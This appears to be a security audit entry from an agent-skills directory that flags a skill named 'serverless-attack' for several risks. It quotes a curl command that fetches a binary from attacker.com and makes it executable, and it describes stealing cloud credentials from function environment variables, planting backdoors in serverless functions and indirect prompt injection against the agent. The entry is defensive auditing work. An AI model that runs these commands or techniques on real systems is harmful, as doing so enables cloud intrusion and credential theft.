The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides instructions to download and execute arbitrary binaries from an external domain using curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan (SKILL.md).
[DATA_EXFILTRATION]: Specifically targets and extracts highly sensitive cloud credentials and database connection strings from function environment variables, including AWS_ACCESS_KEY_ID, TENCENTCLOUD_SECRET_ID, DB_PASSWORD, and SECRET_KEY (SKILL.md, references/lambda-techniques.md).
[COMMAND_EXECUTION]: Leverages cloud CLI tools (aws, tccli) to perform administrative and invasive actions against cloud environments, such as enumerating functions and modifying configurations.
[PERSISTENCE]: Details how to maintain access to a target environment by injecting backdoor code into existing serverless functions using update-function-code capabilities (references/lambda-techniques.md, references/scf-techniques.md).
[PRIVILEGE_ESCALATION]: Instructs on modifying file permissions using chmod +x to enable the execution of tools placed in the /tmp directory.
[DYNAMIC_EXECUTION]: The provided backdoor example (references/lambda-techniques.md) uses os.popen(cmd) to execute arbitrary commands passed as parameters in a function event.
[INDIRECT_PROMPT_INJECTION]: The skill processes external, untrusted data (cloud function code and configuration) that could contain malicious instructions designed to influence the agent's behavior.
Ingestion points: Accessing local directories (lambda_code/) and remote cloud configuration data.
Boundary markers: None present to distinguish between instructions and data.
Capability inventory: Shell command execution (CLI tools), network operations (curl), and file system manipulation (cat, zip, unzip).
Sanitization: No validation or sanitization is performed on the ingested code or variables before analysis or execution.

serverless-attack